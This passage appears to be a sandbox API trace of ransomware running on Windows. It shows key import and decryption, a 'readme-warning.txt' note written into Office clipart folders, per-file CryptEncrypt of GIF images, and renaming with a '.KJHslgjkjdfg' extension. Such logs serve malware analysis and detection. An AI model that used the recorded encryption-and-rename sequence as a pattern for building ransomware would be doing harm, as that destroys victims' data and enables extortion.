lpcbData=0x29dec8c*=0x400 | out: lpType=0x0, lpData=0x29dec90*=0x30, lpcbData=0x29dec8c*=0x18) returned 0x0 [0219.277] RegCloseKey (hKey=0x130) returned 0x0 [0219.277] GetProcessHeap () returned 0x990000 [0219.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0219.277] GetProcessHeap () returned 0x990000 [0219.277] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0219.277] GetProcessHeap () returned 0x990000 [0219.277] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0219.277] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.277] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29dea5c | out: pbData=0x9b18a0, pdwDataLen=0x29dea5c) returned 1 [0219.277] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.278] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29dea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0219.278] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29dea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0219.278] GetProcessHeap () returned 0x990000 [0219.278] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18a0 | out: hHeap=0x990000) returned 1 [0219.278] wsprintfA (in: param_1=0x29deca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0219.278] wsprintfA (in: param_1=0x29df0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0219.278] GetProcessHeap () returned 0x990000 [0219.278] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0219.278] wsprintfW (in: param_1=0x29de084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\readme-warning.txt") returned 69 [0219.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\readme-warning.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.280] WriteFile (in: hFile=0x130, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de080, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de080*=0x3b3, lpOverlapped=0x0) returned 1 [0219.281] CloseHandle (hObject=0x130) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc608 | out: hHeap=0x990000) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.281] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0219.281] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0219.281] GetProcessHeap () returned 0x990000 [0219.281] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x78) returned 0x9a9d68 [0219.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0219.282] GetProcessHeap () returned 0x990000 [0219.282] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0219.282] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0219.282] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0219.282] GetProcessHeap () returned 0x990000 [0219.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27a) returned 0x9b4728 [0219.282] GetProcessHeap () returned 0x990000 [0219.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0xa03ee8 [0219.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0219.284] GetProcessHeap () returned 0x990000 [0219.284] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0xa03ee8 | out: hHeap=0x990000) returned 1 [0219.284] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0219.285] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0219.285] GetProcessHeap () returned 0x990000 [0219.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9ffc90 [0219.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.286] GetProcessHeap () returned 0x990000 [0219.286] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.286] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.286] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.286] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0219.288] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.288] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.288] GetProcessHeap () returned 0x990000 [0219.288] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.288] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.288] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.288] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.288] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.288] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.288] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.288] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.288] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.289] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.289] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.289] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.289] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xf77, lpOverlapped=0x0) returned 1 [0219.289] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf80) returned 1 [0219.289] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.289] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xf80, lpOverlapped=0x0) returned 1 [0219.289] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.289] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.289] SetEndOfFile (hFile=0x138) returned 1 [0219.290] GetProcessHeap () returned 0x990000 [0219.290] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.290] GetProcessHeap () returned 0x990000 [0219.290] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.kjhslgjkjdfg")) returned 1 [0219.292] CloseHandle (hObject=0x138) returned 1 [0219.292] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0219.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.293] GetProcessHeap () returned 0x990000 [0219.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.293] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.293] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.293] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.294] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.294] GetProcessHeap () returned 0x990000 [0219.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.294] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.294] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.294] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.294] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.294] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.294] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.295] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.295] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.295] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.295] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.295] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.295] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2f, lpOverlapped=0x0) returned 1 [0219.295] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x30) returned 1 [0219.295] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.295] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0219.295] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.295] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.295] SetEndOfFile (hFile=0x138) returned 1 [0219.297] GetProcessHeap () returned 0x990000 [0219.297] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.297] GetProcessHeap () returned 0x990000 [0219.297] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif.kjhslgjkjdfg")) returned 1 [0219.300] CloseHandle (hObject=0x138) returned 1 [0219.300] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0219.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.301] GetProcessHeap () returned 0x990000 [0219.302] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.302] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.302] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0219.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.303] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.303] GetProcessHeap () returned 0x990000 [0219.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.303] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.303] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.303] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.303] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.303] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.303] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.303] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.303] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.303] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.303] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.303] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.303] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2dd, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x2dd, lpOverlapped=0x0) returned 1 [0219.304] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x2e0) returned 1 [0219.304] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.304] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x2e0, lpOverlapped=0x0) returned 1 [0219.304] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.304] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x3b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.304] SetEndOfFile (hFile=0x138) returned 1 [0219.305] GetProcessHeap () returned 0x990000 [0219.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.305] GetProcessHeap () returned 0x990000 [0219.305] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft 